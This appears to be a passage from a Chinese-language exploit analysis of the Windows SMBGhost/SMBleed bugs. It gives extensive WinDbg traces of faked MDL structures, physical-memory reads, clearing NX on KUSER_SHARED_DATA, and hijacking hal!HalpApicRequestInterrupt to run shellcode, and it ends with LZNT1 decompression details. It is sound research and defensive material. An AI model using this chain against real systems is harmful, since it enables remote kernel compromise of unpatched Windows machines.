   +0x020 StartVa          : 0xffffcc0f`76fe9000 Void
   +0x028 ByteCount        : 0x4100
   +0x02c ByteOffset       : 0x50

kd> dd rcx
ffffcc0f`76fed1e0  00000000 00000000 00000058 00000000
ffffcc0f`76fed1f0  00000000 00000000 00000000 00000000
ffffcc0f`76fed200  76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210  00000000 00000000 00000000 00000000
ffffcc0f`76fed220  00000000 00000000 00000000 00000000
ffffcc0f`76fed230  00000000 00000000 00000000 00000000
ffffcc0f`76fed240  00000000 00000000 00000000 00000000
ffffcc0f`76fed250  00000000 00000000 00000000 00000000

//flag以及物理頁pfn被設置
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x1b5:
fffff806`2280d425 488b4f38        mov     rcx,qword ptr [rdi+38h]
kd> dt _mdl ffffcc0f`76fed1e0
nt!_MDL
   +0x000 Next             : (null) 
   +0x008 Size             : 0n88
   +0x00a MdlFlags         : 0n4
   +0x00c AllocationProcessorNumber : 0
   +0x00e Reserved         : 0
   +0x010 Process          : (null) 
   +0x018 MappedSystemVa   : 0xffffcc0f`76fe9050 Void
   +0x020 StartVa          : 0xffffcc0f`76fe9000 Void
   +0x028 ByteCount        : 0x4100
   +0x02c ByteOffset       : 0x50
kd> dd ffffcc0f`76fed1e0
ffffcc0f`76fed1e0  00000000 00000000 00040058 00000000
ffffcc0f`76fed1f0  00000000 00000000 76fe9050 ffffcc0f
ffffcc0f`76fed200  76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210  00041099 00000000 00037d1a 00000000
ffffcc0f`76fed220  00037d9b 00000000 00039c9c 00000000
ffffcc0f`76fed230  00037d1d 00000000 00000000 00000000
ffffcc0f`76fed240  00000000 00000000 00000000 00000000
ffffcc0f`76fed250  00000000 00000000 00000000 00000000

//是正確的物理頁
kd> dd ffffcc0f`76fe9000
ffffcc0f`76fe9000  00000000 00000000 00000000 00000000
ffffcc0f`76fe9010  76fe9070 ffffcc0f 00000001 00000000
ffffcc0f`76fe9020  00000001 00000001 76fe9088 ffffcc0f
ffffcc0f`76fe9030  00000008 00000000 00000000 00000000
ffffcc0f`76fe9040  00000000 00000000 76fe90f8 ffffcc0f
ffffcc0f`76fe9050  00000290 00000000 76feb4d8 ffffcc0f
ffffcc0f`76fe9060  00000238 00000000 0000000c 00000000
ffffcc0f`76fe9070  00000018 00000001 eb004a11 11d49b1a
kd> !dd 41099000
#41099000   00000000 00000000 00000000 00000000
#41099010   76fe9070 ffffcc0f 00000001 00000000
#41099020   00000001 00000001 76fe9088 ffffcc0f
#41099030   00000008 00000000 00000000 00000000
#41099040   00000000 00000000 76fe90f8 ffffcc0f
#41099050   00000290 00000000 76feb4d8 ffffcc0f
#41099060   00000238 00000000 0000000c 00000000
#41099070   00000018 00000001 eb004a11 11d49b1a

物理地址讀

根據前面的介紹可知,SRVNET BUFFER HDR結構體中存放了兩個MDL結構(Memory Descriptor List,內存描述符列表)指針,分別位于其0x38和0x50偏移處,MDL維護緩沖區的物理地址信息,以下為某個請求結構的第一個MDL:

2: kd> dt _mdl poi(rax+38)
nt!_MDL
   +0x000 Next             : (null) 
   +0x008 Size             : 0n64
   +0x00a MdlFlags         : 0n20484
   +0x00c AllocationProcessorNumber : 0
   +0x00e Reserved         : 0
   +0x010 Process          : (null) 
   +0x018 MappedSystemVa   : 0xffffae8d`0cfe3050 Void
   +0x020 StartVa          : 0xffffae8d`0cfe3000 Void
   +0x028 ByteCount        : 0x1100
   +0x02c ByteOffset       : 0x50

2: kd> dd poi(rax+38)
ffffae8d`0cfe41e0  00000000 00000000 50040040 00000000
ffffae8d`0cfe41f0  00000000 00000000 0cfe3050 ffffae8d
ffffae8d`0cfe4200  0cfe3000 ffffae8d 00001100 00000050
ffffae8d`0cfe4210  0004a847 00000000 00006976 00000000
ffffae8d`0cfe4220  00000000 00000000 00000000 00000000
ffffae8d`0cfe4230  00040040 00000000 00000000 00000000
ffffae8d`0cfe4240  00000000 00000000 0cfe3000 ffffae8d
ffffae8d`0cfe4250  00001100 00000050 00000000 00000000

0xFFFFAE8D0CFE3000映射自物理頁4A847 ,0xFFFFAE8D0CFE4000映射自物理頁6976。和上面MDL結構可以對應起來。

3: kd> !pte 0xffffae8d`0cfe3000
                                           VA ffffae8d0cfe3000
PXE at FFFFF6FB7DBEDAE8    PPE at FFFFF6FB7DB5D1A0    PDE at FFFFF6FB6BA34338    PTE at FFFFF6D746867F18
contains 0A000000013BE863  contains 0A000000013C1863  contains 0A00000020583863  contains 8A0000004A847B63
pfn 13be      ---DA--KWEV  pfn 13c1      ---DA--KWEV  pfn 20583     ---DA--KWEV  pfn 4a847     CG-DA--KW-V

3: kd> !pte 0xffffae8d`0cfe4000
                                           VA ffffae8d0cfe4000
PXE at FFFFF6FB7DBEDAE8    PPE at FFFFF6FB7DB5D1A0    PDE at FFFFF6FB6BA34338    PTE at FFFFF6D746867F20
contains 0A000000013BE863  contains 0A000000013C1863  contains 0A00000020583863  contains 8A00000006976B63
pfn 13be      ---DA--KWEV  pfn 13c1      ---DA--KWEV  pfn 20583     ---DA--KWEV  pfn 6976      CG-DA--KW-V

在Srv2DecompressData函數中,如果解壓失敗,就會調用SrvNetFreeBuffer,在這個函數中對不需要的緩沖區進行一些處理之后將其放回SrvNetBufferLookasides表,但沒有對User Buffer區域以及MDL相關數據進行處理,后面再用到的時候會直接取出來用(前面分析過),存在數據未初始化的隱患。如下所示,在nt!ExpInterlockedPushEntrySList函數被調用后,偽造了pMDL1指針的SRVNET BUFFER HDR結構體指針被放入SrvNetBufferLookasides。

//Srv2DecompressData
    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }

3: kd> dq poi(poi(SrvNetBufferLookasides)+20)
ffffae8d`0bbb54c0  ffffae8d`0bbddbc0 ffffae8d`0bbdd980
ffffae8d`0bbb54d0  ffffae8d`0bbdd7c0 ffffae8d`0bbdd640
ffffae8d`0bbb54e0  ffffae8d`0bbdd140 0005d2a7`00000014
ffffae8d`0bbb54f0  0002974b`0003d3e0 00000064`00005000
ffffae8d`0bbb5500  52777445`0208f200 0006f408`0006f3f3
ffffae8d`0bbb5510  ffffae8d`0586bb58 ffffae8d`0bbb5f10
ffffae8d`0bbb5520  ffffae8d`0bbb5520 ffffae8d`0bbb5520
ffffae8d`0bbb5530  ffffae8d`0586bb20 00000000`00000000

3: kd> p
srvnet!SrvNetFreeBuffer+0x18b:
fffff800`494758ab ebcf            jmp     srvnet!SrvNetFreeBuffer+0x15c (fffff800`4947587c)

3: kd> dq ffffae8d`0bbdd140
ffffae8d`0bbdd140  00000000`00130002 ffffae8d`0dbf6150
ffffae8d`0bbdd150  0000001a`01000004 00000013`0000000d
ffffae8d`0bbdd160  00000200`00000000 00001100`3030534c
ffffae8d`0bbdd170  fffff800`4947d600 fffff800`4947d590
ffffae8d`0bbdd180  ffffae8d`0bbdd9c0 ffffae8d`08302ac0
ffffae8d`0bbdd190  00000009`00000016 00000000`00000000
ffffae8d`0bbdd1a0  ffffae8d`0bbddbc0 00000000`00000000
ffffae8d`0bbdd1b0  00000000`00000001 00000000`00000000

3: kd> dq ffffae8d`0dbf6150    //假設偽造了pmdl1指針
ffffae8d`0dbf6150  ffffae8d`0a771150 cdcdcdcd`cdcdcdcd
ffffae8d`0dbf6160  00000003`00000000 ffffae8d`0dbf5050
ffffae8d`0dbf6170  00000000`00001100 00000000`00001278
ffffae8d`0dbf6180  ffffae8d`0dbf5000 fffff780`00000e00
ffffae8d`0dbf6190  00000000`00000000 00000000`00000000
ffffae8d`0dbf61a0  ffffae8d`0dbf6228 00000000`00000000
ffffae8d`0dbf61b0  00000000`00000000 00000000`00000000
ffffae8d`0dbf61c0  00000000`00000000 00000000`00000000

ricercasecurity文章中提示可通過偽造MDL結構(設置后面的物理頁pfn)來泄露物理內存。在后續處理某些請求時,會從SrvNetBufferLookasides表中取出緩沖區來存放數據,因而數據包有概率分配在被破壞的緩沖區上,由于網卡驅動最終會依賴DMA(Direct Memory Access,直接內存訪問)來傳輸數據包,因而偽造的MDL結構可控制讀取有限的數據。如下所示,Smb2ExecuteNegotiateReal函數在處理SMB協商的過程中又從SrvNetBufferLookasides中獲取到了被破壞的緩沖區,其pMDL1指針已經被覆蓋為偽造的MDL結構地址0xfffff78000000e00,該結構偏移0x30處的物理頁被指定為0x1aa。

3: kd> dd fffff78000000e00    //偽造的MDL結構
fffff780`00000e00  00000000 00000000 50040040 0b470280
fffff780`00000e10  00000000 00000000 00000050 fffff780
fffff780`00000e20  00000000 fffff780 00001100 00000008
fffff780`00000e30  000001aa 00000000 00000001 00000000

3: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffd700`634cf870 fffff800`494767de     nt!ExpInterlockedPopEntrySListResume+0x7
01 ffffd700`634cf880 fffff800`44d24de6     srvnet!SrvNetAllocateBuffer+0x9e
02 ffffd700`634cf8d0 fffff800`44d3d584     srv2!Srv2AllocateResponseBuffer+0x1e
03 ffffd700`634cf900 fffff800`44d29a9f     srv2!Smb2ExecuteNegotiateReal+0x185f4
04 ffffd700`634cfad0 fffff800`44d2989a     srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
05 ffffd700`634cfb50 fffff800`457d9037     srv2!RfspThreadPoolNodeWorkerRun+0x1ba
06 ffffd700`634cfbb0 fffff800`45128ce5     nt!IopThreadStart+0x37
07 ffffd700`634cfc10 fffff800`452869ca     nt!PspSystemThreadStartup+0x55
08 ffffd700`634cfc60 00000000`00000000     nt!KiStartSystemThread+0x2a

3: kd> 
srv2!Smb2ExecuteNegotiateReal+0x592:
fffff800`44d25522 498b86f8000000  mov     rax,qword ptr [r14+0F8h]
3: kd> 
srv2!Smb2ExecuteNegotiateReal+0x599:
fffff800`44d25529 488b5818        mov     rbx,qword ptr [rax+18h]
3: kd> dd rax    //被破壞了的pmdl1指針
ffffae8d`0cfce150  00000000 00000000 005c0073 00750050
ffffae8d`0cfce160  00000002 00000003 0cfcd050 ffffae8d
ffffae8d`0cfce170  00001100 000000c4 00001278 00650076
ffffae8d`0cfce180  0cfcd000 ffffae8d 00000e00 fffff780
ffffae8d`0cfce190  00000000 006f0052 00000000 00000000
ffffae8d`0cfce1a0  0cfce228 ffffae8d 00000000 00000000
ffffae8d`0cfce1b0  00000000 00450054 0050004d 0043003d
ffffae8d`0cfce1c0  005c003a 00730055 00720065 005c0073

在后續數據傳輸過程中會調用hal!HalBuildScatterGatherListV2函數,其會利用MDL結構中的PFN、ByteOffset以及ByteCount來設置_SCATTER_GATHER_ELEMENT結構。然后調用TRANSMIT::MiniportProcessSGList函數(位于e1i65x64.sys,網卡驅動,測試環境)直接傳送數據,該函數第三個參數為_SCATTER_GATHER_LIST類型,其兩個 _SCATTER_GATHER_ELEMENT結構分別指明了0x3d942c0 和 0x1aa008 (物理地址),如下所示,當函數執行完成后,0x1aa物理頁的部分數據被泄露。其中,0x1aa008來自于偽造的MDL結構,計算過程為:(0x1aa << c) + 8。

1: kd> dd r8
ffffae8d`0b454ca0  00000002 ffffae8d 00000001 00000000
ffffae8d`0b454cb0  03d942c0 00000000 00000100 ffffae8d
ffffae8d`0b454cc0  00000000 00000260 001aa008 00000000
ffffae8d`0b454cd0  00000206 00000000 00640064 00730069

1: kd> dt _SCATTER_GATHER_LIST @r8
hal!_SCATTER_GATHER_LIST
   +0x000 NumberOfElements : 2
   +0x008 Reserved         : 1
   +0x010 Elements         : [0] _SCATTER_GATHER_ELEMENT

1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0
hal!_SCATTER_GATHER_ELEMENT
   +0x000 Address          : _LARGE_INTEGER 0x3d942c0
   +0x008 Length           : 0x100
   +0x010 Reserved         : 0x00000260`00000000
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0+18
hal!_SCATTER_GATHER_ELEMENT
   +0x000 Address          : _LARGE_INTEGER 0x1aa008
   +0x008 Length           : 0x206
   +0x010 Reserved         : 0x00730069`00640064
1: kd> !db 0x3d9438a l100
# 3d9438a 00 50 56 c0 00 08 00 0c-29 c9 e3 5d 08 00 45 00 .PV.....)..]..E.
# 3d9439a 02 2e 45 8c 00 00 80 06-00 00 c0 a8 8c 8a c0 a8 ..E.............
# 3d943aa 8c 01 01 bd df c4 e1 1c-22 7e c3 d1 b7 0d 50 18 ........"~....P.
# 3d943ba 20 14 9b fd 00 00 c3 d1-b7 0d 00 00 00 00 00 00  ...............

1: kd> !dd 0x1aa008
#  1aa008 00000000 00000000 00000000 00000000
#  1aa018 00000000 00000000 00000000 00000000
#  1aa028 00000000 00000000 00000000 00000000
#  1aa038 00000000 00000000 00000000 00000000
#  1aa048 00000000 00000000 00000000 00000000
#  1aa058 00000000 00000000 00000000 00000000
#  1aa068 00000000 00000000 00000000 00000000
#  1aa078 00000000 00000000 00000000 00000000

正常的響應包應該是以下這個樣子的,這次通過查看MiniportProcessSGList函數第四個參數(_NET_BUFFER類型)來驗證,如下所示,此次MDL結構中維護的物理地址(0x4a84704c)和線性地址(0xffffae8d0cfe304c)是一致的:

3: kd> dt _NET_BUFFER @r9
ndis!_NET_BUFFER
   +0x000 Next             : (null) 
   +0x008 CurrentMdl       : 0xffffae8d`0ca6ac50 _MDL
   +0x010 CurrentMdlOffset : 0xca
   +0x018 DataLength       : 0x23c
   +0x018 stDataLength     : 0x00010251`0000023c
   +0x020 MdlChain         : 0xffffae8d`0ca6ac50 _MDL
   +0x028 DataOffset       : 0xca
   +0x000 Link             : _SLIST_HEADER
   +0x000 NetBufferHeader  : _NET_BUFFER_HEADER
   +0x030 ChecksumBias     : 0
   +0x032 Reserved         : 5
   +0x038 NdisPoolHandle   : 0xffffae8d`08304900 Void
   +0x040 NdisReserved     : [2] 0xffffae8d`0c2e19a0 Void
   +0x050 ProtocolReserved : [6] 0x00000206`00000100 Void
   +0x080 MiniportReserved : [4] (null) 
   +0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0xff0201cb`ff0201cd
   +0x0a8 SharedMemoryInfo : (null) 
   +0x0a8 ScatterGatherList : (null) 

3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0ca6ac50)
((ndis!_MDL *)0xffffae8d0ca6ac50)                 : 0xffffae8d0ca6ac50 [Type: _MDL *]
    [+0x000] Next             : 0xffffae8d0850d690 [Type: _MDL *]
    [+0x008] Size             : 56 [Type: short]
    [+0x00a] MdlFlags         : 4 [Type: short]
    [+0x00c] AllocationProcessorNumber : 0x2e7 [Type: unsigned short]
    [+0x00e] Reserved         : 0xff02 [Type: unsigned short]
    [+0x010] Process          : 0x0 [Type: _EPROCESS *]
    [+0x018] MappedSystemVa   : 0xffffae8d0ca6ac90 [Type: void *]
    [+0x020] StartVa          : 0xffffae8d0ca6a000 [Type: void *]
    [+0x028] ByteCount        : 0x100 [Type: unsigned long]
    [+0x02c] ByteOffset       : 0xc90 [Type: unsigned long]

3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0850d690)
((ndis!_MDL *)0xffffae8d0850d690)                 : 0xffffae8d0850d690 [Type: _MDL *]
    [+0x000] Next             : 0x0 [Type: _MDL *]
    [+0x008] Size             : 56 [Type: short]
    [+0x00a] MdlFlags         : 16412 [Type: short]
    [+0x00c] AllocationProcessorNumber : 0x3 [Type: unsigned short]
    [+0x00e] Reserved         : 0x0 [Type: unsigned short]
    [+0x010] Process          : 0x0 [Type: _EPROCESS *]
    [+0x018] MappedSystemVa   : 0xffffae8d0cfe304c [Type: void *]
    [+0x020] StartVa          : 0xffffae8d0cfe3000 [Type: void *]
    [+0x028] ByteCount        : 0x206 [Type: unsigned long]
    [+0x02c] ByteOffset       : 0x4c [Type: unsigned long]

3: kd> db 0xffffae8d0cfe304c
ffffae8d`0cfe304c  00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00  .....SMB@.......
ffffae8d`0cfe305c  00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00  ................
ffffae8d`0cfe306c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffae8d`0cfe307c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffae8d`0cfe308c  00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05  ....A.......f4..
ffffae8d`0cfe309c  30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00  0..I.H.xG..8/...
ffffae8d`0cfe30ac  00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89  .............k..
ffffae8d`0cfe30bc  4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01  K.............@.

3: kd> !db 0x4a84704c
#4a84704c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
#4a84705c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84706c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84707c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84708c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
#4a84709c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
#4a8470ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
#4a8470bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.

漏洞利用流程

1.通過任意地址寫偽造MDL結構

2.利用解壓縮精準覆蓋pMDL1指針,使得壓縮數據正好可以解壓出偽造的MDL結構地址,但要控制解壓失敗,避免不必要的后續復制操作覆蓋掉重要數據

3.利用前兩步讀取1aa(1ad)頁,尋找自索引值,根據這個值計算PTE base

4.根據PTE BASE和KUSER_SHARED_DATA的虛擬地址計算出該地址的PTE,修改KUSER_SHARED_DATA區域的可執行權限

5.將Shellcode通過任意地址寫復制到0xfffff78000000800(屬于KUSER_SHARED_DATA)

6.獲取halpInterruptController指針以及hal!HalpApicRequestInterrupt指針,利用任意地址寫將hal!HalpApicRequestInterrupt指針覆蓋為Shellcode地址,將halpInterruptController指針復制到已知區域(以便Shellcode可以找到hal!HalpApicRequestInterrupt函數地址并將halpInterruptController偏移0x78處的該函數指針還原)。hal!HalpApicRequestInterrupt函數是系統一直會調用的函數,劫持了它就等于劫持了系統執行流程。

計算 PTE BASE: 使用物理地址讀泄露1aa頁的數據(測試虛擬機采用BIOS引導),找到其自索引,通過(index << 39) | 0xFFFF000000000000得到PTE BASE。如下例所示:1aa頁自索引為479(0x1DF),因而PTE BASE為(0x1DF << 39) | 0xFFFF000000000000 = 0xFFFFEF8000000000。

0: kd> !dq 1aa000 l1df+1
#  1aa000 8a000000`0de64867 00000000`00000000
#  1aa010 00000000`00000000 00000000`00000000
#  1aa020 00000000`00000000 00000000`00000000
#  ......
#  1aaed0 0a000000`013b3863 00000000`00000000
#  1aaee0 00000000`00000000 00000000`00000000
#  1aaef0 00000000`00000000 80000000`001aa063

1: kd> ?(0x1DF << 27) | 0xFFFF000000000000
Evaluate expression: -18141941858304 = ffffef80`00000000

計算 KUSER_SHARED_DATA 的 PTE: 通過 PTE BASE 和 KUSER_SHARED_DATA 的 VA 可以算出KUSER_SHARED_DATA 的 PTE,2017年黑客大會的一篇 PDF 里有介紹。計算過程實際是來源于ntoskrnl.exe中的MiGetPteAddress函數,如下所示,其中0xFFFFF68000000000為未隨機化時的PTE BASE,但自Windows 10 1607起 PTE BASE 被隨機化,不過幸運的是,這個值可以從MiGetPteAddress函數偏移0x13處獲取,系統運行后會將隨機化的基址填充到此處(后面一種思路用了這個):

.text:00000001400F1D28 MiGetPteAddress proc near               ; CODE XREF: MmInvalidateDumpAddresses+1B↓p
.text:00000001400F1D28                                         ; MiResidentPagesForSpan+1B↓p ...
.text:00000001400F1D28                 shr     rcx, 9
.text:00000001400F1D2C                 mov     rax, 7FFFFFFFF8h
.text:00000001400F1D36                 and     rcx, rax
.text:00000001400F1D39                 mov     rax, 0FFFFF68000000000h
.text:00000001400F1D43                 add     rax, rcx
.text:00000001400F1D46                 retn
.text:00000001400F1D46 MiGetPteAddress endp

1: kd> u MiGetPteAddress
nt!MiGetPteAddress:
fffff802`045add28 48c1e909        shr     rcx,9
fffff802`045add2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`045add36 4823c8          and     rcx,rax
fffff802`045add39 48b80000000080efffff mov rax,0FFFFEF8000000000h
fffff802`045add43 4803c1          add     rax,rcx
fffff802`045add46 c3              ret
fffff802`045add47 cc              int     3
fffff802`045add48 cc              int     3

在獲取了PTE BASE之后可按照以上流程計算某地址的PTE,按照上面的代碼計算FFFFF7800000000(KUSER_SHARED_DATA 的起始地址)的PTE為:((FFFFF78000000000 >> 9 ) & 7FFFFFFFF8) + 0xFFFFEF8000000000 = 0xFFFFEFFBC0000000,對比如下輸出可知,我們已經成功計算出了FFFFF7800000000對應的PTE。

0: kd> !pte fffff78000000000
                                           VA fffff78000000000
PXE at FFFFEFF7FBFDFF78    PPE at FFFFEFF7FBFEF000    PDE at FFFFEFF7FDE00000    PTE at FFFFEFFBC0000000
contains 0000000001300063  contains 0000000001281063  contains 0000000001782063  contains 00000000013B2963
pfn 1300      ---DA--KWEV  pfn 1281      ---DA--KWEV  pfn 1782      ---DA--KWEV  pfn 13b2      -G-DA--KWEV

PDF鏈接:https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf

去NX標志位: 知道了目標地址的PTE( 0xFFFFEFFBC0000000),就可以為其去掉NX標志,這樣就可以在這個區域執行代碼了,思路是利用任意地址寫將PTE指向的地址的 NoExecute 標志位修改為0。

2: kd> db ffffeffb`c0000006
ffffeffb`c0000006  00 80 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0: kd> db FFFFEFFBC0000000+6    //修改后
ffffeffb`c0000006  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
1: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000
nt!_MMPTE_HARDWARE
   +0x000 Valid            : 0y1
   +0x000 Dirty1           : 0y1
   +0x000 Owner            : 0y0
   +0x000 WriteThrough     : 0y0
   +0x000 CacheDisable     : 0y0
   +0x000 Accessed         : 0y1
   +0x000 Dirty            : 0y1
   +0x000 LargePage        : 0y0
   +0x000 Global           : 0y1
   +0x000 CopyOnWrite      : 0y0
   +0x000 Unused           : 0y0
   +0x000 Write            : 0y1
   +0x000 PageFrameNumber  : 0y000000000000000000000001001110110010 (0x13b2)
   +0x000 ReservedForHardware : 0y0000
   +0x000 ReservedForSoftware : 0y0000
   +0x000 WsleAge          : 0y0000
   +0x000 WsleProtection   : 0y000
   +0x000 NoExecute        : 0y1

0: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000    //修改后
nt!_MMPTE_HARDWARE
   +0x000 Valid            : 0y1
   +0x000 Dirty1           : 0y1
   +0x000 Owner            : 0y0
   +0x000 WriteThrough     : 0y0
   +0x000 CacheDisable     : 0y0
   +0x000 Accessed         : 0y1
   +0x000 Dirty            : 0y1
   +0x000 LargePage        : 0y0
   +0x000 Global           : 0y1
   +0x000 CopyOnWrite      : 0y0
   +0x000 Unused           : 0y0
   +0x000 Write            : 0y1
   +0x000 PageFrameNumber  : 0y000000000000000000000001001110110010 (0x13b2)
   +0x000 ReservedForHardware : 0y0000
   +0x000 ReservedForSoftware : 0y0000
   +0x000 WsleAge          : 0y0000
   +0x000 WsleProtection   : 0y000
   +0x000 NoExecute        : 0y0

尋找HAL: HAL堆是在HAL.DLL引導過程中創建的,HAL堆上存放了HalpInterruptController(目前也是隨機化的),其中保存了一些函數指針,其偏移0x78處存放了hal!HalpApicRequestInterrupt函數指針。這個函數和中斷相關,會被系統一直調用,所以可通過覆蓋這個指針劫持執行流程。

0: kd> dq poi(hal!HalpInterruptController)
fffff7e6`80000698  fffff7e6`800008f0 fffff802`04486e50
fffff7e6`800006a8  fffff7e6`800007f0 00000000`00000030
fffff7e6`800006b8  fffff802`04422d80 fffff802`04421b90
fffff7e6`800006c8  fffff802`04422520 fffff802`044226e0
fffff7e6`800006d8  fffff802`044226b0 00000000`00000000
fffff7e6`800006e8  fffff802`044223c0 00000000`00000000
fffff7e6`800006f8  fffff802`04454560 fffff802`04432770
fffff7e6`80000708  fffff802`04421890 fffff802`0441abb0

0: kd> u fffff802`0441abb0
hal!HalpApicRequestInterrupt:
fffff802`0441abb0 48896c2420      mov     qword ptr [rsp+20h],rbp
fffff802`0441abb5 56              push    rsi
fffff802`0441abb6 4154            push    r12
fffff802`0441abb8 4156            push    r14
fffff802`0441abba 4883ec40        sub     rsp,40h
fffff802`0441abbe 488bb42480000000 mov     rsi,qword ptr [rsp+80h]
fffff802`0441abc6 33c0            xor     eax,eax
fffff802`0441abc8 4532e4          xor     r12b,r12b

可通過遍歷物理頁找到HalpInterruptController地址,如下所示,在虛擬機調試環境下該地址位于第一個物理頁。在獲得這個地址后,可通過0x78偏移找到alpApicRequestInterrupt函數指針地址,覆蓋這個地址為Shellcode地址0xfffff78000000800,等待劫持執行流程。

1: kd> !dq 1000
#    1000 00000000`00000000 00000000`00000000
#    1010 00000000`01010600 00000000`00000000
#    ......
#    18f0 fffff7e6`80000b20 fffff7e6`80000698
#    1900 fffff7e6`80000a48 00000000`00000004

Shellcode復制&&執行: 通過任意地址寫將Shellcode復制到0xfffff78000000800,等待“alpApicRequestInterrupt函數”被調用。

0: kd> g
Breakpoint 0 hit
fffff780`00000800 55              push    rbp

0: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff800`482b24c8 fffff800`450273a0     0xfffff780`00000800
01 fffff800`482b24d0 fffff800`4536c4b8     hal!HalSendNMI+0x330
02 fffff800`482b2670 fffff800`4536bbee     nt!KiSendFreeze+0xb0
03 fffff800`482b26d0 fffff800`45a136ac     nt!KeFreezeExecution+0x20e
04 fffff800`482b2800 fffff800`45360811     nt!KdEnterDebugger+0x64
05 fffff800`482b2830 fffff800`45a17105     nt!KdpReport+0x71
06 fffff800`482b2870 fffff800`451bbbf0     nt!KdpTrap+0x14d
07 fffff800`482b28c0 fffff800`451bb85f     nt!KdTrap+0x2c
08 fffff800`482b2900 fffff800`45280202     nt!KiDispatchException+0x15f

SMBGhost&&SMBleed遠程代碼執行

Zecops利用思路的靈魂是通過判斷LZNT1解壓是否成功來泄露單個字節,有點爆破的意思在里面。

LZNT1解壓特性

通過逆向可以發現LZNT1壓縮數據由壓縮塊組成,每個壓縮塊有兩個字節的塊頭部,通過最高位是否設置可判斷該塊是否被壓縮,其與0xFFF相與再加3(2字節的chunk header+1字節的flag)為這個壓縮塊的長度。每個壓縮塊中有若干個小塊,每個小塊開頭都有存放標志的1字節數據。該字節中的每個比特控制后面的相應區域,是直接復制(0)還是重復復制(1)。

這里先舉個后面會用到的例子,如下所示。解壓時首先取出2個字節的塊頭部0xB007,0xB007&0xFFF+3=0xa,所以這個塊的大小為10,就是以下這10個字節。然后取出標志字節0x14,其二進制為00010100,對應了后面的8項數據,如果相應的比特位為0,就直接將該字節項復制到待解壓緩沖區,如果相應比特位為1,表示數據有重復,從相應的偏移取出兩個字節數據,根據環境計算出復制的源地址和復制的長度。

由于0x14的前兩個比特為0,b0 00 直接復制到目標緩沖區,下一個比特位為1,則取出0x007e,復制0x7e+3(0x81)個 00 到目標緩沖區,然后下一個比特位是0,復制ff到目標緩沖區,下個比特位為1,所以又取出0x007c,復制0x7c+3(0x7f)個 FF 到目標緩沖區,由于此時已走到邊界點,對該壓縮塊的解壓結束。以下為解壓結果:

kd> db ffffa508`31ac115e lff+3+1
ffffa508`31ac115e  b0 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac116e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac117e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac118e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac119e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11ae  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11be  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11ce  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa508`31ac11de  00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac11ee  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac11fe  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac120e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac121e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac122e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffffa508`31ac123e  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
